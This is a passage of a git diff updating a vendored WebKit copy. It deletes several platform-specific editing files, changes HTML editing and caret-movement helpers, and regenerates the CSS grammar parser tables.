-    return new ClipboardAndroid(policy, false);
-}
-
-} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/editing/chromium/EditorChromium.cpp b/src/3rdparty/webkit/WebCore/editing/chromium/EditorChromium.cpp
deleted file mode 100644
index 1ea085b..0000000
--- a/src/3rdparty/webkit/WebCore/editing/chromium/EditorChromium.cpp
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2008, 2009, Google Inc. All rights reserved.
- * 
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- * 
- *     * Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above
- * copyright notice, this list of conditions and the following disclaimer
- * in the documentation and/or other materials provided with the
- * distribution.
- *     * Neither the name of Google Inc. nor the names of its
- * contributors may be used to endorse or promote products derived from
- * this software without specific prior written permission.
- * 
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
- * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
- * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
- * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
- * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "config.h"
-#include "Editor.h"
-
-#include "ChromiumDataObject.h"
-#include "ClipboardChromium.h"
-
-namespace WebCore {
-
-PassRefPtr<Clipboard> Editor::newGeneralClipboard(ClipboardAccessPolicy policy)
-{
-    return ClipboardChromium::create(false, ChromiumDataObject::create(), policy);
-}
-
-} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/editing/gtk/SelectionControllerGtk.cpp b/src/3rdparty/webkit/WebCore/editing/gtk/SelectionControllerGtk.cpp
deleted file mode 100644
index f3bd4bc..0000000
--- a/src/3rdparty/webkit/WebCore/editing/gtk/SelectionControllerGtk.cpp
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2009 Igalia S.L.
- *
- * This library is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Library General Public
- * License as published by the Free Software Foundation; either
- * version 2 of the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Library General Public License for more details.
- *
- * You should have received a copy of the GNU Library General Public License
- * along with this library; see the file COPYING.LIB.  If not, write to
- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
- * Boston, MA 02110-1301, USA.
- */
- 
-#include "config.h"
-#include "SelectionController.h"
-
-#include "AXObjectCache.h"
-#include "Frame.h"
-
-#include <gtk/gtk.h>
-
-namespace WebCore {
-
-void SelectionController::notifyAccessibilityForSelectionChange()
-{
-    if (AXObjectCache::accessibilityEnabled() && m_sel.start().isNotNull() && m_sel.end().isNotNull()) {
-        RenderObject* focusedNode = m_sel.end().node()->renderer();
-        AccessibilityObject* accessibilityObject = m_frame->document()->axObjectCache()->getOrCreate(focusedNode);
-        AtkObject* wrapper = accessibilityObject->wrapper();
-        if (ATK_IS_TEXT(wrapper)) {
-            g_signal_emit_by_name(wrapper, "text-caret-moved", m_sel.end().computeOffsetInContainerNode());
-
-            if (m_sel.isRange())
-                g_signal_emit_by_name(wrapper, "text-selection-changed");
-        }
-    }
-}
-
-} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/editing/htmlediting.cpp b/src/3rdparty/webkit/WebCore/editing/htmlediting.cpp
index d19ef6b..7127535 100644
--- a/src/3rdparty/webkit/WebCore/editing/htmlediting.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/htmlediting.cpp
@@ -289,7 +289,7 @@ VisiblePosition firstEditablePositionAfterPositionInRoot(const Position& positio
     while (p.node() && !isEditablePosition(p) && p.node()->isDescendantOf(highestRoot))
         p = isAtomicNode(p.node()) ? positionInParentAfterNode(p.node()) : nextVisuallyDistinctCandidate(p);
     
-    if (p.node() && !p.node()->isDescendantOf(highestRoot))
+    if (p.node() && p.node() != highestRoot && !p.node()->isDescendantOf(highestRoot))
         return VisiblePosition();
     
     return VisiblePosition(p);
@@ -310,7 +310,7 @@ VisiblePosition lastEditablePositionBeforePositionInRoot(const Position& positio
     while (p.node() && !isEditablePosition(p) && p.node()->isDescendantOf(highestRoot))
         p = isAtomicNode(p.node()) ? positionInParentBeforeNode(p.node()) : previousVisuallyDistinctCandidate(p);
     
-    if (p.node() && !p.node()->isDescendantOf(highestRoot))
+    if (p.node() && p.node() != highestRoot && !p.node()->isDescendantOf(highestRoot))
         return VisiblePosition();
     
     return VisiblePosition(p);
@@ -474,26 +474,33 @@ bool validBlockTag(const AtomicString& blockTag)
     DEFINE_STATIC_LOCAL(HashSet<AtomicString>, blockTags, ());
     if (blockTags.isEmpty()) {
         blockTags.add(addressTag.localName());
+        blockTags.add(articleTag.localName());
+        blockTags.add(asideTag.localName());
         blockTags.add(blockquoteTag.localName());
         blockTags.add(ddTag.localName());
         blockTags.add(divTag.localName());
         blockTags.add(dlTag.localName());
         blockTags.add(dtTag.localName());
+        blockTags.add(footerTag.localName());
         blockTags.add(h1Tag.localName());
         blockTags.add(h2Tag.localName());
         blockTags.add(h3Tag.localName());
         blockTags.add(h4Tag.localName());
         blockTags.add(h5Tag.localName());
         blockTags.add(h6Tag.localName());
+        blockTags.add(headerTag.localName());
+        blockTags.add(hgroupTag.localName());
         blockTags.add(navTag.localName());
         blockTags.add(pTag.localName());
         blockTags.add(preTag.localName());
+        blockTags.add(sectionTag.localName());
     }
     return blockTags.contains(blockTag);
 }
 
 static Node* firstInSpecialElement(const Position& pos)
 {
+    // FIXME: This begins at pos.node(), which doesn't necessarily contain pos (suppose pos was [img, 0]).  See <rdar://problem/5027702>.
     Node* rootEditableElement = pos.node()->rootEditableElement();
     for (Node* n = pos.node(); n && n->rootEditableElement() == rootEditableElement; n = n->parentNode())
         if (isSpecialElement(n)) {
@@ -509,6 +516,7 @@ static Node* firstInSpecialElement(const Position& pos)
 
 static Node* lastInSpecialElement(const Position& pos)
 {
+    // FIXME: This begins at pos.node(), which doesn't necessarily contain pos (suppose pos was [img, 0]).  See <rdar://problem/5027702>.
     Node* rootEditableElement = pos.node()->rootEditableElement();
     for (Node* n = pos.node(); n && n->rootEditableElement() == rootEditableElement; n = n->parentNode())
         if (isSpecialElement(n)) {
@@ -651,6 +659,11 @@ bool isListElement(Node *n)
     return (n && (n->hasTagName(ulTag) || n->hasTagName(olTag) || n->hasTagName(dlTag)));
 }
 
+bool isListItem(Node *n)
+{
+    return n && n->renderer() && n->renderer()->isListItem();
+}
+
 Node* enclosingNodeWithTag(const Position& p, const QualifiedName& tagName)
 {
     if (p.isNull())
@@ -772,7 +785,7 @@ static Node* appendedSublist(Node* listItem)
     for (Node* n = listItem->nextSibling(); n; n = n->nextSibling()) {
         if (isListElement(n))
             return static_cast<HTMLElement*>(n);
-        if (n->renderer() && n->renderer()->isListItem())
+        if (isListItem(listItem))
             return 0;
     }
     
@@ -849,6 +862,11 @@ bool isTableCell(const Node* node)
     return r->isTableCell();
 }
 
+bool isEmptyTableCell(const Node* node)
+{
+    return node && node->renderer() && (node->renderer()->isTableCell() || (node->renderer()->isBR() && node->parentNode()->renderer() && node->parentNode()->renderer()->isTableCell()));     
+}
+
 PassRefPtr<HTMLElement> createDefaultParagraphElement(Document* document)
 {
     return new HTMLDivElement(divTag, document);
@@ -899,6 +917,16 @@ Node *tabSpanNode(const Node *node)
     return isTabSpanTextNode(node) ? node->parentNode() : 0;
 }
 
+bool isNodeInTextFormControl(Node* node)
+{
+    if (!node)
+        return false;
+    Node* ancestor = node->shadowAncestorNode();
+    if (ancestor == node)
+        return false;
+    return ancestor->isElementNode() && static_cast<Element*>(ancestor)->isTextFormControl();
+}
+    
 Position positionBeforeTabSpan(const Position& pos)
 {
     Node *node = pos.node();
@@ -971,7 +999,7 @@ unsigned numEnclosingMailBlockquotes(const Position& p)
 
 bool isMailBlockquote(const Node *node)
 {
-    if (!node || (!node->isElementNode() && !node->hasTagName(blockquoteTag)))
+    if (!node || !node->hasTagName(blockquoteTag))
         return false;
         
     return static_cast<const Element *>(node)->getAttribute("type") == "cite";
@@ -1077,6 +1105,14 @@ bool isNodeVisiblyContainedWithin(Node* node, const Range* selectedRange)
         && visiblePositionAfterNode(node) == selectedRange->endPosition();
 }
 
+bool isRenderedAsNonInlineTableImageOrHR(const Node* node)
+{
+    if (!node)
+        return false;
+    RenderObject* renderer = node->renderer();
+    return renderer && ((renderer->isTable() && !renderer->isInline()) || (renderer->isImage() && !renderer->isInline()) || renderer->isHR());
+}
+
 PassRefPtr<Range> avoidIntersectionWithNode(const Range* range, Node* node)
 {
     if (!range)
diff --git a/src/3rdparty/webkit/WebCore/editing/htmlediting.h b/src/3rdparty/webkit/WebCore/editing/htmlediting.h
index f44181c..1559fa5 100644
--- a/src/3rdparty/webkit/WebCore/editing/htmlediting.h
+++ b/src/3rdparty/webkit/WebCore/editing/htmlediting.h
@@ -87,11 +87,14 @@ bool isTabSpanTextNode(const Node*);
 bool isMailBlockquote(const Node*);
 bool isTableElement(Node*);
 bool isTableCell(const Node*);
+bool isEmptyTableCell(const Node*);
 bool isTableStructureNode(const Node*);
 bool isListElement(Node*);
+bool isListItem(Node*);
 bool isNodeRendered(const Node*);
 bool isNodeVisiblyContainedWithin(Node*, const Range*);
-    
+bool isRenderedAsNonInlineTableImageOrHR(const Node*);
+bool isNodeInTextFormControl(Node* node);
     
 // -------------------------------------------------------------------------
 // Position
diff --git a/src/3rdparty/webkit/WebCore/editing/markup.cpp b/src/3rdparty/webkit/WebCore/editing/markup.cpp
index 47714e7..787dad9 100644
--- a/src/3rdparty/webkit/WebCore/editing/markup.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/markup.cpp
@@ -55,6 +55,7 @@
 #include "Range.h"
 #include "VisibleSelection.h"
 #include "TextIterator.h"
+#include "XMLNSNames.h"
 #include "htmlediting.h"
 #include "visible_units.h"
 #include <wtf/StdLibExtras.h>
@@ -314,15 +315,15 @@ static bool shouldAddNamespaceElem(const Element* elem)
 
 static bool shouldAddNamespaceAttr(const Attribute* attr, HashMap<AtomicStringImpl*, AtomicStringImpl*>& namespaces)
 {
+    namespaces.checkConsistency();
+
     // Don't add namespace attributes twice
-    DEFINE_STATIC_LOCAL(const AtomicString, xmlnsURI, ("http://www.w3.org/2000/xmlns/"));
-    DEFINE_STATIC_LOCAL(const QualifiedName, xmlnsAttr, (nullAtom, "xmlns", xmlnsURI));
-    if (attr->name() == xmlnsAttr) {
+    if (attr->name() == XMLNSNames::xmlnsAttr) {
         namespaces.set(emptyAtom.impl(), attr->value().impl());
         return false;
     }
     
-    QualifiedName xmlnsPrefixAttr("xmlns", attr->localName(), xmlnsURI);
+    QualifiedName xmlnsPrefixAttr(xmlnsAtom, attr->localName(), XMLNSNames::xmlnsNamespaceURI);
     if (attr->name() == xmlnsPrefixAttr) {
         namespaces.set(attr->localName().impl(), attr->value().impl());
         return false;
@@ -333,6 +334,7 @@ static bool shouldAddNamespaceAttr(const Attribute* attr, HashMap<AtomicStringIm
 
 static void appendNamespace(Vector<UChar>& result, const AtomicString& prefix, const AtomicString& ns, HashMap<AtomicStringImpl*, AtomicStringImpl*>& namespaces)
 {
+    namespaces.checkConsistency();
     if (ns.isEmpty())
         return;
         
@@ -341,9 +343,8 @@ static void appendNamespace(Vector<UChar>& result, const AtomicString& prefix, c
     AtomicStringImpl* foundNS = namespaces.get(pre);
     if (foundNS != ns.impl()) {
         namespaces.set(pre, ns.impl());
-        DEFINE_STATIC_LOCAL(const String, xmlns, ("xmlns"));
         result.append(' ');
-        append(result, xmlns);
+        append(result, xmlnsAtom.string());
         if (!prefix.isEmpty()) {
             result.append(':');
             append(result, prefix);
@@ -394,6 +395,9 @@ enum RangeFullySelectsNode { DoesFullySelectNode, DoesNotFullySelectNode };
 
 static void appendStartMarkup(Vector<UChar>& result, const Node* node, const Range* range, EAnnotateForInterchange annotate, bool convertBlocksToInlines = false, HashMap<AtomicStringImpl*, AtomicStringImpl*>* namespaces = 0, RangeFullySelectsNode rangeFullySelectsNode = DoesFullySelectNode)
 {
+    if (namespaces)
+        namespaces->checkConsistency();
+
     bool documentIsHTML = node->document()->isHTMLDocument();
     switch (node->nodeType()) {
         case Node::TEXT_NODE: {
@@ -1052,13 +1056,9 @@ String createMarkup(const Range* range, Vector<Node*>* nodes, EAnnotateForInterc
     return joinMarkups(preMarkups, markups);
 }
 
-PassRefPtr<DocumentFragment> createFragmentFromMarkup(Document* document, const String& markup, const String& baseURL)
+PassRefPtr<DocumentFragment> createFragmentFromMarkup(Document* document, const String& markup, const String& baseURL, FragmentScriptingPermission scriptingPermission)
 {
-    ASSERT(document->documentElement()->isHTMLElement());
-    // FIXME: What if the document element is not an HTML element?
-    HTMLElement *element = static_cast<HTMLElement*>(document->documentElement());
-
-    RefPtr<DocumentFragment> fragment = element->createContextualFragment(markup);
+    RefPtr<DocumentFragment> fragment = document->documentElement()->createContextualFragment(markup, scriptingPermission);
 
     if (fragment && !baseURL.isEmpty() && baseURL != blankURL() && baseURL != document->baseURL())
         completeURLs(fragment.get(), baseURL);
@@ -1129,6 +1129,17 @@ static void fillContainerFromString(ContainerNode* paragraph, const String& stri
     }
 }
 
+bool isPlainTextMarkup(Node *node)
+{
+    if (!node->isElementNode() || !node->hasTagName(divTag) || static_cast<Element*>(node)->attributes()->length())
+        return false;
+    
+    if (node->childNodeCount() == 1 && (node->firstChild()->isTextNode() || (node->firstChild()->firstChild())))
+        return true;
+    
+    return (node->childNodeCount() == 2 && isTabSpanTextNode(node->firstChild()->firstChild()) && node->firstChild()->nextSibling()->isTextNode());
+}
+
 PassRefPtr<DocumentFragment> createFragmentFromText(Range* context, const String& text)
 {
     if (!context)
diff --git a/src/3rdparty/webkit/WebCore/editing/markup.h b/src/3rdparty/webkit/WebCore/editing/markup.h
index 6b7333c..5ace04a 100644
--- a/src/3rdparty/webkit/WebCore/editing/markup.h
+++ b/src/3rdparty/webkit/WebCore/editing/markup.h
@@ -27,6 +27,7 @@
 #define markup_h
 
 #include "HTMLInterchange.h"
+#include "MappedAttributeEntry.h"
 #include <wtf/Forward.h>
 #include <wtf/Vector.h>
 
@@ -41,9 +42,11 @@ namespace WebCore {
     enum EChildrenOnly { IncludeNode, ChildrenOnly };
 
     PassRefPtr<DocumentFragment> createFragmentFromText(Range* context, const String& text);
-    PassRefPtr<DocumentFragment> createFragmentFromMarkup(Document*, const String& markup, const String& baseURL);
+    PassRefPtr<DocumentFragment> createFragmentFromMarkup(Document*, const String& markup, const String& baseURL, FragmentScriptingPermission = FragmentScriptingAllowed);
     PassRefPtr<DocumentFragment> createFragmentFromNodes(Document*, const Vector<Node*>&);
 
+    bool isPlainTextMarkup(Node *node);
+
     String createMarkup(const Range*,
         Vector<Node*>* = 0, EAnnotateForInterchange = DoNotAnnotateForInterchange, bool convertBlocksToInlines = false);
     String createMarkup(const Node*, EChildrenOnly = IncludeNode, Vector<Node*>* = 0);
diff --git a/src/3rdparty/webkit/WebCore/editing/visible_units.cpp b/src/3rdparty/webkit/WebCore/editing/visible_units.cpp
index c96fdfd..3d85ad1 100644
--- a/src/3rdparty/webkit/WebCore/editing/visible_units.cpp
+++ b/src/3rdparty/webkit/WebCore/editing/visible_units.cpp
@@ -31,6 +31,7 @@
 #include "HTMLNames.h"
 #include "RenderBlock.h"
 #include "RenderLayer.h"
+#include "RenderObject.h"
 #include "TextBoundaries.h"
 #include "TextBreakIterator.h"
 #include "TextIterator.h"
@@ -253,6 +254,12 @@ static VisiblePosition nextBoundary(const VisiblePosition& c, BoundarySearchFunc
     return VisiblePosition(pos, VP_UPSTREAM_IF_POSSIBLE);
 }
 
+static bool canHaveCursor(RenderObject* o)
+{
+    return (o->isText() && toRenderText(o)->linesBoundingBox().height())
+        || (o->isBox() && toRenderBox(o)->borderBoundingBox().height());
+}
+
 // ---------
 
 static unsigned startWordBoundary(const UChar* characters, unsigned length, unsigned offset, BoundarySearchContextAvailability mayHaveMoreContext, bool& needMoreContext)
@@ -569,8 +576,12 @@ VisiblePosition previousLinePosition(const VisiblePosition &visiblePosition, int
     visiblePosition.getInlineBoxAndOffset(box, ignoredCaretOffset);
     if (box) {
         root = box->root()->prevRootBox();
-        if (root)
+        // We want to skip zero height boxes.
+        // This could happen in case it is a TrailingFloatsRootInlineBox.
+        if (root && root->height())
             containingBlock = renderer->containingBlock();
+        else
+            root = 0;
     }
 
     if (!root) {
@@ -586,17 +597,20 @@ VisiblePosition previousLinePosition(const VisiblePosition &visiblePosition, int
                 break;
             Position pos(n, caretMinOffset(n));
             if (pos.isCandidate()) {
-                ASSERT(n->renderer());
-                Position maxPos(n, caretMaxOffset(n));
-                maxPos.getInlineBoxAndOffset(DOWNSTREAM, box, ignoredCaretOffset);
-                if (box) {
-                    // previous root line box found
-                    root = box->root();
-                    containingBlock = n->renderer()->containingBlock();
-                    break;
+                RenderObject* o = n->renderer();
+                ASSERT(o);
+                if (canHaveCursor(o)) {
+                    Position maxPos(n, caretMaxOffset(n));
+                    maxPos.getInlineBoxAndOffset(DOWNSTREAM, box, ignoredCaretOffset);
+                    if (box) {
+                        // previous root line box found
+                        root = box->root();
+                        containingBlock = n->renderer()->containingBlock();
+                        break;
+                    }
+
+                    return VisiblePosition(pos, DOWNSTREAM);
                 }
-
-                return VisiblePosition(pos, DOWNSTREAM);
             }
             n = previousLeafWithSameEditability(n);
         }
@@ -671,8 +685,12 @@ VisiblePosition nextLinePosition(const VisiblePosition &visiblePosition, int x)
     visiblePosition.getInlineBoxAndOffset(box, ignoredCaretOffset);
     if (box) {
         root = box->root()->nextRootBox();
-        if (root)
+        // We want to skip zero height boxes.
+        // This could happen in case it is a TrailingFloatsRootInlineBox.
+        if (root && root->height())
             containingBlock = renderer->containingBlock();
+        else
+            root = 0;
     }
 
     if (!root) {
@@ -776,12 +794,6 @@ VisiblePosition nextSentencePosition(const VisiblePosition &c)
     return c.honorEditableBoundaryAtOrBefore(next);
 }
 
-static bool renderedAsNonInlineTableOrHR(RenderObject* renderer)
-{
-    return renderer && ((renderer->isTable() && !renderer->isInline()) || renderer->isHR());
-}
-
-// FIXME: Broken for positions before/after images that aren't inline (5027702)
 VisiblePosition startOfParagraph(const VisiblePosition& c)
 {
     Position p = c.deepEquivalent();
@@ -790,7 +802,7 @@ VisiblePosition startOfParagraph(const VisiblePosition& c)
     if (!startNode)
         return VisiblePosition();
     
-    if (renderedAsNonInlineTableOrHR(startNode->renderer()) && p.atLastEditingPositionForNode())
+    if (isRenderedAsNonInlineTableImageOrHR(startNode))
         return firstDeepEditingPositionForNode(startNode);
 
     Node* startBlock = enclosingBlock(startNode);
@@ -841,7 +853,6 @@ VisiblePosition startOfParagraph(const VisiblePosition& c)
     return VisiblePosition(node, offset, DOWNSTREAM);
 }
 
-// FIXME: Broken for positions before/after images that aren't inline (5027702)
 VisiblePosition endOfParagraph(const VisiblePosition &c)
 {    
     if (c.isNull())
@@ -850,7 +861,7 @@ VisiblePosition endOfParagraph(const VisiblePosition &c)
     Position p = c.deepEquivalent();
     Node* startNode = p.node();
 
-    if (renderedAsNonInlineTableOrHR(startNode->renderer()) && p.atFirstEditingPositionForNode())
+    if (isRenderedAsNonInlineTableImageOrHR(startNode))
         return lastDeepEditingPositionForNode(startNode);
     
     Node* startBlock = enclosingBlock(startNode);
diff --git a/src/3rdparty/webkit/WebCore/generated/ArrayPrototype.lut.h b/src/3rdparty/webkit/WebCore/generated/ArrayPrototype.lut.h
deleted file mode 100644
index d3d7d36..0000000
--- a/src/3rdparty/webkit/WebCore/generated/ArrayPrototype.lut.h
+++ /dev/null
@@ -1,34 +0,0 @@
-// Automatically generated from ../../JavaScriptCore/runtime/ArrayPrototype.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
-
-#include "Lookup.h"
-
-namespace JSC {
-
-static const struct HashTableValue arrayTableValues[22] = {
-   { "toString", DontEnum|Function, (intptr_t)arrayProtoFuncToString, (intptr_t)0 },
-   { "toLocaleString", DontEnum|Function, (intptr_t)arrayProtoFuncToLocaleString, (intptr_t)0 },
-   { "concat", DontEnum|Function, (intptr_t)arrayProtoFuncConcat, (intptr_t)1 },
-   { "join", DontEnum|Function, (intptr_t)arrayProtoFuncJoin, (intptr_t)1 },
-   { "pop", DontEnum|Function, (intptr_t)arrayProtoFuncPop, (intptr_t)0 },
-   { "push", DontEnum|Function, (intptr_t)arrayProtoFuncPush, (intptr_t)1 },
-   { "reverse", DontEnum|Function, (intptr_t)arrayProtoFuncReverse, (intptr_t)0 },
-   { "shift", DontEnum|Function, (intptr_t)arrayProtoFuncShift, (intptr_t)0 },
-   { "slice", DontEnum|Function, (intptr_t)arrayProtoFuncSlice, (intptr_t)2 },
-   { "sort", DontEnum|Function, (intptr_t)arrayProtoFuncSort, (intptr_t)1 },
-   { "splice", DontEnum|Function, (intptr_t)arrayProtoFuncSplice, (intptr_t)2 },
-   { "unshift", DontEnum|Function, (intptr_t)arrayProtoFuncUnShift, (intptr_t)1 },
-   { "every", DontEnum|Function, (intptr_t)arrayProtoFuncEvery, (intptr_t)1 },
-   { "forEach", DontEnum|Function, (intptr_t)arrayProtoFuncForEach, (intptr_t)1 },
-   { "some", DontEnum|Function, (intptr_t)arrayProtoFuncSome, (intptr_t)1 },
-   { "indexOf", DontEnum|Function, (intptr_t)arrayProtoFuncIndexOf, (intptr_t)1 },
-   { "lastIndexOf", DontEnum|Function, (intptr_t)arrayProtoFuncLastIndexOf, (intptr_t)1 },
-   { "filter", DontEnum|Function, (intptr_t)arrayProtoFuncFilter, (intptr_t)1 },
-   { "reduce", DontEnum|Function, (intptr_t)arrayProtoFuncReduce, (intptr_t)1 },
-   { "reduceRight", DontEnum|Function, (intptr_t)arrayProtoFuncReduceRight, (intptr_t)1 },
-   { "map", DontEnum|Function, (intptr_t)arrayProtoFuncMap, (intptr_t)1 },
-   { 0, 0, 0, 0 }
-};
-
-extern JSC_CONST_HASHTABLE HashTable arrayTable =
-    { 65, 63, arrayTableValues, 0 };
-} // namespace
diff --git a/src/3rdparty/webkit/WebCore/generated/CSSGrammar.cpp b/src/3rdparty/webkit/WebCore/generated/CSSGrammar.cpp
index 20e3fcb..de39328 100644
--- a/src/3rdparty/webkit/WebCore/generated/CSSGrammar.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/CSSGrammar.cpp
@@ -76,7 +76,7 @@
 /* Copy the first part of user declarations.  */
 
 /* Line 189 of yacc.c  */
-#line 1 "../css/CSSGrammar.y"
+#line 1 "css\\CSSGrammar.y"
 
 
 /*
@@ -137,7 +137,7 @@ using namespace HTMLNames;
 
 
 /* Line 189 of yacc.c  */
-#line 141 "WebCore/tmp/../generated/CSSGrammar.tab.c"
+#line 141 "C:/dev/webkit-2.0/WebCore/generated/CSSGrammar.tab.c"
 
 /* Enabling traces.  */
 #ifndef YYDEBUG
@@ -238,7 +238,7 @@ typedef union YYSTYPE
 {
 
 /* Line 214 of yacc.c  */
-#line 62 "../css/CSSGrammar.y"
+#line 62 "css\\CSSGrammar.y"
 
     bool boolean;
     char character;
@@ -265,7 +265,7 @@ typedef union YYSTYPE
 
 
 /* Line 214 of yacc.c  */
-#line 269 "WebCore/tmp/../generated/CSSGrammar.tab.c"
+#line 269 "C:/dev/webkit-2.0/WebCore/generated/CSSGrammar.tab.c"
 } YYSTYPE;
 # define YYSTYPE_IS_TRIVIAL 1
 # define yystype YYSTYPE /* obsolescent; will be withdrawn */
@@ -276,7 +276,7 @@ typedef union YYSTYPE
 /* Copy the second part of user declarations.  */
 
 /* Line 264 of yacc.c  */
-#line 86 "../css/CSSGrammar.y"
+#line 86 "css\\CSSGrammar.y"
 
 
 static inline int cssyyerror(const char*)
@@ -292,7 +292,7 @@ static int cssyylex(YYSTYPE* yylval, void* parser)
 
 
 /* Line 264 of yacc.c  */
-#line 296 "WebCore/tmp/../generated/CSSGrammar.tab.c"
+#line 296 "C:/dev/webkit-2.0/WebCore/generated/CSSGrammar.tab.c"
 
 #ifdef short
 # undef short
@@ -507,16 +507,16 @@ union yyalloc
 /* YYFINAL -- State number of the termination state.  */
 #define YYFINAL  24
 /* YYLAST -- Last index in YYTABLE.  */
-#define YYLAST   1275
+#define YYLAST   1452
 
 /* YYNTOKENS -- Number of terminals.  */
 #define YYNTOKENS  86
 /* YYNNTS -- Number of nonterminals.  */
-#define YYNNTS  90
+#define YYNNTS  84
 /* YYNRULES -- Number of rules.  */
-#define YYNRULES  268
+#define YYNRULES  265
 /* YYNRULES -- Number of states.  */
-#define YYNSTATES  516
+#define YYNSTATES  512
 
 /* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX.  */
 #define YYUNDEFTOK  2
@@ -568,162 +568,162 @@ static const yytype_uint8 yytranslate[] =
    YYRHS.  */
 static const yytype_uint16 yyprhs[] =
 {
-       0,     0,     3,    11,    14,    17,    20,    23,    26,    29,
-      32,    34,    36,    43,    50,    56,    62,    68,    74,    80,
-      81,    84,    85,    88,    91,    92,    94,    96,    98,   104,
-     108,   112,   113,   117,   119,   120,   124,   125,   129,   130,
-     134,   136,   138,   140,   142,   144,   146,   148,   150,   152,
-     153,   157,   159,   161,   163,   165,   167,   169,   171,   173,
-     175,   182,   189,   193,   197,   205,   213,   214,   218,   220,
-     223,   225,   229,   231,   234,   238,   243,   247,   253,   258,
-     263,   270,   275,   283,   286,   292,   296,   301,   304,   311,
-     315,   319,   320,   323,   325,   327,   330,   331,   336,   344,
-     346,   352,   353,   357,   358,   360,   362,   364,   369,   370,
-     372,   374,   379,   382,   390,   397,   400,   409,   411,   413,
-     414,   418,   425,   427,   433,   435,   437,   441,   445,   453,
-     457,   461,   464,   467,   470,   472,   474,   480,   482,   487,
-     490,   493,   495,   497,   500,   504,   507,   509,   512,   515,
-     517,   520,   522,   525,   529,   532,   534,   536,   538,   541,
-     544,   546,   548,   550,   552,   554,   557,   560,   565,   574,
-     580,   590,   592,   594,   596,   598,   600,   602,   604,   606,
-     609,   613,   618,   623,   628,   635,   637,   640,   642,   646,
-     648,   651,   654,   658,   663,   667,   673,   678,   683,   690,
-     696,   699,   702,   709,   716,   719,   723,   728,   731,   734,
-     737,   738,   740,   744,   747,   750,   753,   754,   756,   759,
-     762,   765,   768,   772,   775,   778,   780,   783,   785,   788,
-     791,   794,   797,   800,   803,   806,   809,   812,   815,   818,
-     821,   824,   827,   830,   833,   836,   839,   842,   845,   848,
-     851,   854,   856,   862,   866,   869,   872,   874,   877,   881,
-     885,   888,   892,   894,   896,   899,   905,   909,   911
+       0,     0,     3,     8,    11,    14,    17,    20,    23,    26,
+      29,    36,    43,    49,    55,    61,    67,    73,    74,    77,
+      78,    81,    84,    85,    87,    89,    91,    97,   101,   105,
+     106,   110,   112,   114,   116,   118,   120,   122,   124,   126,
+     128,   130,   132,   133,   137,   139,   141,   143,   145,   147,
+     149,   151,   153,   155,   157,   159,   166,   173,   177,   181,
+     189,   197,   198,   202,   204,   207,   209,   213,   215,   218,
+     222,   227,   231,   237,   242,   247,   254,   259,   267,   270,
+     276,   280,   285,   288,   295,   302,   306,   310,   311,   314,
+     316,   318,   321,   322,   327,   335,   337,   343,   344,   348,
+     349,   351,   353,   355,   360,   361,   363,   365,   370,   373,
+     381,   388,   391,   400,   402,   404,   405,   409,   416,   418,
+     424,   426,   428,   432,   436,   444,   448,   452,   455,   458,
+     461,   463,   464,   466,   468,   474,   476,   481,   484,   487,
+     489,   491,   494,   498,   501,   503,   506,   509,   511,   514,
+     516,   519,   523,   526,   528,   530,   532,   535,   538,   540,
+     542,   544,   546,   548,   551,   554,   559,   568,   574,   584,
+     586,   588,   590,   592,   594,   596,   598,   600,   603,   607,
+     614,   622,   629,   636,   638,   641,   643,   647,   649,   652,
+     655,   659,   663,   668,   672,   678,   683,   688,   695,   701,
+     704,   707,   714,   721,   724,   728,   733,   736,   739,   742,
+     743,   745,   749,   752,   756,   759,   762,   765,   766,   768,
+     771,   774,   777,   780,   784,   787,   790,   792,   795,   797,
+     800,   803,   806,   809,   812,   815,   818,   821,   824,   827,
+     830,   833,   836,   839,   842,   845,   848,   851,   854,   857,
+     860,   863,   866,   868,   874,   878,   881,   884,   886,   889,
+     893,   897,   900,   906,   910,   912
 };
 
 /* YYRHS -- A `-1'-separated list of the rules' RHS.  */
 static const yytype_int16 yyrhs[] =
 {
-      87,     0,    -1,    96,    98,    97,   101,   102,   103,   104,
-      -1,    89,    96,    -1,    91,    96,    -1,    93,    96,    -1,
-      94,    96,    -1,    95,    96,    -1,    92,    96,    -1,    90,
-      96,    -1,   105,    -1,   110,    -1,    28,    71,    96,    88,
-      96,    72,    -1,    30,    71,    96,   134,    96,    72,    -1,
-      29,    71,    96,   156,    72,    -1,    38,    71,    96,   113,
-      72,    -1,    32,    71,    96,   161,    72,    -1,    33,     5,
